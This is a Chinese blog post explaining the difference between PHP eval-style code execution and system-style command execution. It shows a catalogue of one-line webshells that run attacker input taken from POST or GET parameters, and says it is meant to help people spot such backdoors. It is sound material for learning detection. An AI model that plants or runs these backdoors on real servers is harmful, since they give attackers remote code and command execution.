当前位置: 首页 > news >正文

PHP后门的eval类和system类 函数到底有哪些区别

一、

  一直以来对PHP的eval这一类函数和system这一类存在疑惑的地方,今天彻底研究了一下,写查PHP一句话的时候可以更有把握一些。其实都是一些满基础的知识,大佬别喷。干安全的基础很重要。

 

二、PHP的eval类型函数,一句话:代码执行而不是命令执行。(菜刀用这类)

1、简单类

 1 //#1-eval
 2 <?php
 3     eval($_POST["cmd"])
 4 ?>
 5 //post:cmd=phpinfo();
 6 
 7 
 8 //#2-assert
 9 <?php
10     assert($_POST["cmd"])
11 ?>
12 //post:cmd=phpinfo();
13 
14 
15 //#3-call_user_func
16 <?php
17     call_user_func($_POST["fun"],$_POST["para"])
18 ?>
19 //post:fun=assert&para=phpinfo();

2、复杂类

 1 //#1-create_function
 2 <?php 
 3     $a= $_POST['func'];
 4     $b = create_function('$a',"echo $a");
 5     $b('');
 6 ?>
 7 //post:func=phpinfo();
 8 
 9 
10 //#2-array_map------->这个不懂先记下来
11 <?php
12     $array = array(0,1,2,3,4,5);
13     array_map($_GET['func'],$array);
14 ?>
15 //post:func=phpinfo

三、PHP的system类型函数,一句话:命令执行而不是代码执行。

 1 //#1-system
 2 <?php system($_POST["cmd"]);?>
 3 
 4 //#2-passthru
 5 <?php passthru($_POST["cmd"]);?>
 6 
 7 //#3-exec
 8 <?php echo exec($_POST["cmd"]);?>
 9 
10 //#4-pcntl_exec
11 <?php 
12     pcntl_exec("/bin/bash",array($_POST["cmd"]));
13 ?>
14 
15 //#5-shell_exec
16 <?php echo shell_exec($_POST["cmd"]); ?>
17 
18 //#6-popen()/proc_popen()
19 <?php $handle = popen("/bin/ls","r");?>
20 
21 //#7-``
22 <?php echo `whoami`?>

 高深一点的:

1 <?php
2 $cmd = 'system';
3 ob_start($cmd)
4 echo "$_GET[a]";
5 ob_end_flush();
6 ?>//?a=whoami

 

转载于:https://www.cnblogs.com/KevinGeorge/p/8127054.html

相关文章:

  • mint-ui 填坑之路
  • 秒懂Vuejs、Angular、React原理和前端发展历史
  • Java定时器应用
  • 模型分离(选做)
  • 游戏全区全服和分区分服 QQ斗地主的设计
  • 【习题 7-7 UVA-12558】Egyptian Fractions (HARD version)
  • 仿腾讯固定导航栏
  • window进行缩放时左侧菜单高度随之变化
  • 如何将pdf文件的英文翻译成中文
  • mac用BootCamp装windows装完之后驱动问题
  • Jquery命名冲突解决的五种方案
  • 【margin与padding的区别与用法】
  • MyBatis JdbcType 与Oracle、MySql数据类型对应关系详解
  • 十三、视图
  • POJ3415 Common Substrings
  • [Vue CLI 3] 配置解析之 css.extract
  • 11111111
  • Bytom交易说明(账户管理模式)
  • Docker下部署自己的LNMP工作环境
  • ES2017异步函数现已正式可用
  • Git学习与使用心得(1)—— 初始化
  • javascript 总结(常用工具类的封装)
  • mockjs让前端开发独立于后端
  • ReactNativeweexDeviceOne对比
  • RxJS 实现摩斯密码(Morse) 【内附脑图】
  • Sass 快速入门教程
  • Swoft 源码剖析 - 代码自动更新机制
  • tab.js分享及浏览器兼容性问题汇总
  • vue+element后台管理系统,从后端获取路由表,并正常渲染
  • Vue实战(四)登录/注册页的实现
  • vue--为什么data属性必须是一个函数
  • vue中实现单选
  • 简析gRPC client 连接管理
  • 排序算法之--选择排序
  • 学习笔记:对象,原型和继承(1)
  • Oracle Portal 11g Diagnostics using Remote Diagnostic Agent (RDA) [ID 1059805.
  • d²y/dx²; 偏导数问题 请问f1 f2是什么意思
  • No resource identifier found for attribute,RxJava之zip操作符
  • 阿里云API、SDK和CLI应用实践方案
  • ​创新驱动,边缘计算领袖:亚马逊云科技海外服务器服务再进化
  • #if #elif #endif
  • #Linux(make工具和makefile文件以及makefile语法)
  • $ is not function   和JQUERY 命名 冲突的解说 Jquer问题 (
  • (10)工业界推荐系统-小红书推荐场景及内部实践【排序模型的特征】
  • (2)STL算法之元素计数
  • (20)目标检测算法之YOLOv5计算预选框、详解anchor计算
  • (二)WCF的Binding模型
  • (附源码)spring boot车辆管理系统 毕业设计 031034
  • (附源码)springboot 智能停车场系统 毕业设计065415
  • (附源码)计算机毕业设计SSM疫情居家隔离服务系统
  • (六) ES6 新特性 —— 迭代器(iterator)
  • (十七)devops持续集成开发——使用jenkins流水线pipeline方式发布一个微服务项目
  • (完整代码)R语言中利用SVM-RFE机器学习算法筛选关键因子
  • (转)3D模板阴影原理
  • (转)Sql Server 保留几位小数的两种做法